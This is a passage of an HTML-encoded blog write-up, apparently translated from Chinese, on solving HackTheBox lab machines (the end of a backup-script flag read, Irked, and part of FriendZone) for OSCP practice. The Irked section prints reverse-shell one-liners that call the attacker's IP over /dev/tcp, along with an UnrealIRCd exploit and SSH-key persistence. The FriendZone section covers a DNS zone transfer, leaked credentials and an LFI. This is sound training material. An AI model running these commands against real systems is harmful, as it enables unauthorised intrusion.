class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove old archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# create new archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar czf $fn var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# put it back, and clean up&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mv $fn $cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm -rf var&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# wait for results&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for new logs...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tail -f /var/backups/onuma_backup_error.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I read through the code.&lt;/p&gt;&#10;&lt;p&gt;It gets files in that directory whose names start with a dot, then hard-codes the result. An infinite loop checks for changes: if the file list has not changed, it keeps looping; if it has changed, it assigns the result to cur, moves the target file into the working directory defined above, extracts it, deletes robots.txt, replaces it with an ln link to /root/root.txt, moves and renames the file, and deletes the temporary files.&lt;/p&gt;&#10;&lt;p&gt;As for why onuma_backup_error.txt contains the flag, the answer is all in backeruperer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0122.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;errormsg is defined as this file.&lt;/p&gt;&#10;&lt;p&gt;The integrity_chk function calls diff -r, which compares every directory and file and also outputs any differences it encounters.&lt;/p&gt;&#10;&lt;p&gt;Here it writes the error information to errormsg, which is the onuma_backup_error.txt file from earlier.&lt;/p&gt;&#10;&lt;p&gt;That is how the flag can be obtained.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0123.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This script&amp;rsquo;s logic is so clear that it almost feels like the author wrote it.&lt;/p&gt;&#10;&lt;p&gt;This one machine took me from the afternoon until the evening, and I ran into a huge number of pitfalls. At least this was not the exam and I learned a lot; hitting these problems during the exam would be fatal.&lt;/p&gt;&#10;&lt;h2 id="8irked"&gt;&lt;a href="#8irked" class="header-anchor"&gt;&lt;/a&gt;8.Irked&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0124.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0125.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Connect to ssh and see whether it provides any hints.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;Check port 80.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;I had forgotten about irc, so I searched and found that I had used it before: &lt;a class="link" href="https://en.wikipedia.org/wiki/IRC" target="_blank" rel="noopener"&#10; &gt;https://en.wikipedia.org/wiki/IRC&lt;/a&gt;. hexchat is a chat tool. The target had the default port 6697 open, along with ports 8067 and 65534. The version was UnrealIRCd, and the administrator&amp;rsquo;s email address was also available.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;4.ircbind &lt;a class="link" href="https://blog.csdn.net/ichen820/article/details/120365560" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/ichen820/article/details/120365560&lt;/a&gt; is a good article. It is related to nfs, but the nfs port was not open.&lt;/p&gt;&#10;&lt;p&gt;I checked all of it.&lt;/p&gt;&#10;&lt;p&gt;ssh had nothing. Port 80 had a manual page, and brute-forcing did not reveal anything either.&lt;/p&gt;&#10;&lt;p&gt;I looked into irc; just launch hexchat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0126.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The list contained nothing. I checked every port; they all exposed the same service.&lt;/p&gt;&#10;&lt;p&gt;While brute-forcing port 80, I also checked for framework vulnerabilities. Only UnrealIRCd had one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0127.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read the code. It was a perl script where you just fill in the parameters, and it was not difficult to understand.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0128.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;None of the included URLs worked anymore, so just construct the payload yourself.&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.19/9999 &amp;lt;&amp;amp;1'&lt;/p&gt;&#10;&lt;p&gt;I sent the payload to all three ports with no effect at all. I searched for ages afterward and could not find anything. I was completely out of options.&lt;/p&gt;&#10;&lt;p&gt;I checked a write-up, and it used this exact payload. I tried again, and it still did not work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0129.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Only later did I learn that everyone either sent it manually or wrote their own script. Mine simply would not connect because the script had a bug.&lt;/p&gt;&#10;&lt;p&gt;Sometimes, when a simple exp does not work, you can construct it manually.&lt;/p&gt;&#10;&lt;p&gt;I learned my lesson: I could not use the included script. There was also an msf exp, but it is best not to use that for oscp.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s read the code and see how to construct it manually.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0130.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In this section, a tcp socket connects to the target ip/port, and reports an error if the connection fails.&lt;/p&gt;&#10;&lt;p&gt;Once connected, it calls the socket to send data, which is the previous payload. Leave its payload as unchanged as possible and simply add AB; in front.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0131.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0132.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target was far too slow. The perl script sends the exp as soon as it connects, but how could it execute immediately? It needs to wait. I suspected the lag was the problem, and adding a sleep made the script work after all.&lt;/p&gt;&#10;&lt;p&gt;Sure enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0133.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0134.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still had not analyzed it thoroughly enough.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0135.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wasted a great deal of time here. The exp author probably did not account for this.&lt;/p&gt;&#10;&lt;p&gt;Now start privilege escalation. First, open another shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0136.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;bash -c &amp;rsquo;exec bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.16.13/6666 &amp;lt;&amp;amp;1&amp;rsquo; &amp;gt; cmd.out 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/p&gt;&#10;&lt;p&gt;I reviewed every conf file in the current directory but found no useful information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0137.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was also a djmardov home directory, so I most likely needed to pivot to that user.&lt;/p&gt;&#10;&lt;p&gt;I found an exp based on the version, but it had no effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0138.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found nothing, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;pspy32 did not reveal anything interesting either.&lt;/p&gt;&#10;&lt;p&gt;An interesting conventional privilege-escalation route: su could not be used and sudo did not exist. Based on su&amp;rsquo;s message, we needed to log in through a terminal. My rough idea was to write a private key and see whether that worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0139.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The configuration was fine, and the file was writable.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0140.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate a public/private key pair.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0141.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Rename the public key and upload it to the server. The name must be the default, authorized_keys.&lt;/p&gt;&#10;&lt;p&gt;The connection failed, so I debugged it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0142.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a version issue. Generate the key pair again.&lt;/p&gt;&#10;&lt;p&gt;ssh-keygen -t rsa -t ed25519 -f ./new_temp&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0143.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Successfully connected.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0144.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Good. Now I still needed a password.&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0145.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;user.txt was inaccessible, and its target was also user.txt in the parent directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0146.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Based on the steg hint, I had tried using this to access the large image at the very beginning, but it did not work. Let&amp;rsquo;s try again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0147.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no password and nothing came out, so I ignored it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0148.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0149.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0150.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum.sh found a service I had never seen before, and it had the s permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0151.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0152.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0153.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Forging the file worked, giving root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0154.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completed it. None of the tool-related parts were difficult because I already knew how to use them. I still need to improve my thought process. On machines like this, every piece of information has to be collected, but sometimes collecting too much makes everything look suspicious. I need to be more careful.&lt;/p&gt;&#10;&lt;h2 id="9friendzone"&gt;&lt;a href="#9friendzone" class="header-anchor"&gt;&lt;/a&gt;9.FriendZone&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PORT STATE SERVICE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;21/tcp open ftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;22/tcp open ssh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;53/tcp open domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;80/tcp open http&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| http-enum:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| /wordpress/: Blog&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_ /robots.txt: Robots file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;443/tcp open https&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-csrf: Couldn&amp;#39;t find any CSRF vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-dombased-xss: Couldn&amp;#39;t find any DOM based XSS.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;|_http-stored-xss: Couldn&amp;#39;t find any stored XSS vulnerabilities.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I finished testing everything. Here are the conclusions.&lt;/p&gt;&#10;&lt;p&gt;21 did not allow anonymous login and offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;22 offered no entry point.&lt;/p&gt;&#10;&lt;p&gt;53 was a dns server. I could test domain names and similar things later. On machines like those in oscp, every service has a purpose.&lt;/p&gt;&#10;&lt;p&gt;80 contained an empty wordpress site and revealed one domain: friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;139/445 exposed a samba service. Try connecting to it.&lt;/p&gt;&#10;&lt;p&gt;443 exposed an https service, but there was nothing there.&lt;/p&gt;&#10;&lt;p&gt;samba contained an unauthenticated shared file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;creds for the admin THING:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin:WORKWORKHhallelujah@#&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This password did not work for ssh, ftp, or samba.&lt;/p&gt;&#10;&lt;p&gt;I had just collected a domain name. With the suffix now known, add it to hosts.&lt;/p&gt;&#10;&lt;p&gt;friendzoneportal.red&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0155.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there. The dns server could help us look it up, so send a request directly.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This command returns records for the entire DNS zone, including A, AAAA, CNAME, and MX records, plus subdomain information.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.18.12-1-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; @10.10.10.123 friendzoneportal.red AXFR&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;; (1 server found)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; global options: +cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN AAAA ::1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN NS localhost.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admin.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;files.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;imports.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vpn.friendzoneportal.red. 604800 IN A 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; Query time: 660 msec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; SERVER: 10.10.10.123#53(10.10.10.123) (TCP)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; WHEN: Mon Sep 30 08:07:05 EDT 2024&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; XFR size: 9 records (messages 1, bytes 309)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;admin.friendzoneportal.red allowed a login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0156.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going back to look at the title, friendzone.red revealed something else.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0157.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;administrator1.friendzone.red accepted the login, and there was some content inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0158.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking into it later, this was actually a local php file, which is why it could be called. This was an obvious lfi.&lt;/p&gt;&#10;&lt;p&gt;Start testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0159.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Since adding a name made it accessible, the application was probably appending .php. I could not access /etc/passwd or anything else, so use a php wrapper to view the source.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0160.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did indeed append .php.&lt;/p&gt;&#10;&lt;p&gt;I also read the other files, but they contained nothing useful. All that was missing now was a way to write a file, although if I could write a php file, this point would seemingly be unnecessary.&lt;/p&gt;&#10;&lt;p&gt;I checked uploads.friendzone.red. It always reported a successful upload, but nothing appeared.&lt;/p&gt;&#10;&lt;p&gt;I read the code directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0161.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0162.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder.&lt;/p&gt;&#10;&lt;p&gt;Having reached this point, there should not have been any real problem. All I lacked was permission to write a file. I suddenly remembered that ftp could write files, and more importantly, samba had a writable directory.&lt;/p&gt;&#10;&lt;p&gt;I had no credentials for ftp, so that was not an option, but samba would work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0163.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0164.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The upload succeeded. Based on the image below, I guessed that it was probably under /etc.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0165.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1" target="_blank" rel="noopener"&#10; &gt;https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;amp;pagename=/etc/Development/1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img 